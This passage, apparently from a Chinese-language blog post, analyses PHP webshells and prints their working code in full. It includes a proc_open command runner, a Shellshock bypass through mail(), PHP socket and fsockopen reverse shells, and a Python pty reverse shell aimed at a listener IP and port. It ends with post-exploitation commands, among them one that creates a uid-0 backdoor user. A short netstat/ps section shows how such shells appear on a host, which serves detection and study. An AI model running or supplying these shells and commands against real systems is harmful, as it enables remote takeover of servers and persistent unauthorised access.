        $res = $f->ReadAll();
    } elseif (function_exists('proc_open')) {
        $length = strcspn($cmd, " \t");
        $token = substr($cmd, 0, $length);
        if (isset($aliases[$token])) $cmd = $aliases[$token] . substr($cmd, $length);
        $p = proc_open($cmd, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
        while (!feof($io[1])) {
            $res .= htmlspecialchars(fgets($io[1]), ENT_COMPAT, 'UTF-8');
        }
        while (!feof($io[2])) {
            $res .= htmlspecialchars(fgets($io[2]), ENT_COMPAT, 'UTF-8');
        }
        fclose($io[1]);
        fclose($io[2]);
        proc_close($p);
    } elseif (function_exists('mail')) {
        if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
            $tmp = tempnam(".", "data");
            putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
            mail("a@127.0.0.1", "", "", "", "-bv");
        } else $res = "Not vuln (not bash)";
        $output = @implode('', @file($tmp));
        @unlink($tmp);
        if ($output != "") $res = $output; else $res = JmCode("=4vofIaqtD3ohOvpiOPY0IUp0I3ot8zG");
    }
    return $res;
}


反彈提權

和Spider PHP Shell相比除了perl和C的執行方式,多了php和nc的執行方式

php

用 socket_create 和 socket_connect 去連攻擊機監聽的端口,然後用 socket_read 不斷的去等攻擊機下的命令,然後用proc_open在靶機上執行命令,最後用 socket_write 將靶機上執行命令的結果返回給攻擊機
if (!extension_loaded('sockets')) {
    if ($system == 'WIN') {
        @dl('php_sockets.dll') or die("Can't load socket");
    } else {
        @dl('sockets.so') or die("Can't load socket");
    }
}
if ($system == "WIN") {
    $env = array('path' => "c:\\windows\\system32");
} else {
    $env = array('PATH' => "/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin");
}
$descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
$host = $_POST['yourip'];
$port = $_POST['yourport'];
$host = gethostbyname($host);
$proto = getprotobyname("tcp");
if (($sock = socket_create(AF_INET, SOCK_STREAM, $proto)) < 0) {
    die("Socket创建失败");
}
if (($ret = socket_connect($sock, $host, $port)) < 0) {
    die("连接失败");
} else {
    $message = "----------------------PHP反弹连接(www.xxx.com)--------------------\n";
    socket_write($sock, $message, strlen($message));
    $cwd = str_replace('\\', '/', dirname(__FILE__));
    while ($cmd = socket_read($sock, 65535, $proto)) {
        if (trim(strtolower($cmd)) == "exit") {
            socket_write($sock, "Bye\n");
            exit;
        } else {
            $process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env);
            if (is_resource($process)) {
                fwrite($pipes[0], $cmd);
                fclose($pipes[0]);
                $msg = stream_get_contents($pipes[1]);
                socket_write($sock, $msg, strlen($msg));
                fclose($pipes[1]);
                $msg = stream_get_contents($pipes[2]);
                socket_write($sock, $msg, strlen($msg));
                $return_value = proc_close($process);
            }
        }
    }
}

nc

一樣也是用PHP實現,使用 fsockopen 去連攻擊機監聽的端口,然後用feof不斷的等攻擊機發命令過來,用fgets接收到命令後使用 $message = `$cmd`; 執行命令(` 就是 shell_exec函數),執行後用 fputs 將結果返回攻擊機。
echo '<div class="actall">';
$mip = $_POST['yourip'];
$bport = $_POST['yourport'];
$fp = fsockopen($mip, $bport, $errno, $errstr);
if (!$fp) {
    $result = "Error: could not open socket connection";
} else {
    fputs($fp, "\n*********************************************\n hacking url:http://www.xxx.com is ok! \n*********************************************\n\n");
    while (!feof($fp)) {
        fputs($fp, " [root@xxx.com:/root]# ");
        $result = fgets($fp, 4096);
        $message = `$result`;
        fputs($fp, "--> " . $message . "\n");
    }
    fclose($fp);
}
echo '</div>';

執行方式:php 和 nc(本質上也是使用PHP),連進程中異常的 sh 進程都查不到,因為跑在php-fpm下面,只能從netstat上查到有個異常的連線往外連

# ps aux | grep "\bsh\b"
(無)

# netstat -tlunpa | grep "192.168.1.8"
tcp        0      0 192.168.1.24:58952      192.168.1.8:12388       ESTABLISHED 9623/php-fpm: pool

# ps aux | grep 9623
www       9623  0.0  0.1 248544  8928 ?        S    18:06   0:00 php-fpm: pool www

其他大馬

https://www.dismall.com/thread-1726-1-1.html  震惊:从某盗版插件里扒出的木马文件,你在人家面前裸奔

文件管理

基本上功能都大同小異
特殊目錄:
Linux-local : /usr/local/
Linux-tmp : /tmp/
Linux-etc : /etc/

反彈SHELL

Python

這個大馬在提權時多了python的連接方式。原理是將以下python代碼寫入 /tmp/t00ls.py
#!/usr/bin/python
# 
import sys,os,socket,pty
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], int(sys.argv[2])))
os.dup2(s.fileno(), sys.stdin.fileno())
os.dup2(s.fileno(), sys.stdout.fileno())
os.dup2(s.fileno(), sys.stderr.fileno())
pty.spawn('/bin/sh')

然後再執行
/usr/bin/python /tmp/t00ls.py 192.168.1.8 12388


執行命令

這邊收集了一些滲透常用命令
Linux-版本集合: id;uname -a;cat /etc/issue;cat /proc/version;lsb_release -a
Linux-添加用户: /usr/sbin/useradd -u 0 -o -g 0 t00ls
Linux-查看用户: cat /etc/passwd
Linux-查看端口: /bin/netstat -tnl
Linux-查看地址: /sbin/ifconfig -a
Linux-查看服务: /sbin/chkconfig --list
Linux-查看进程: /bin/ps -ef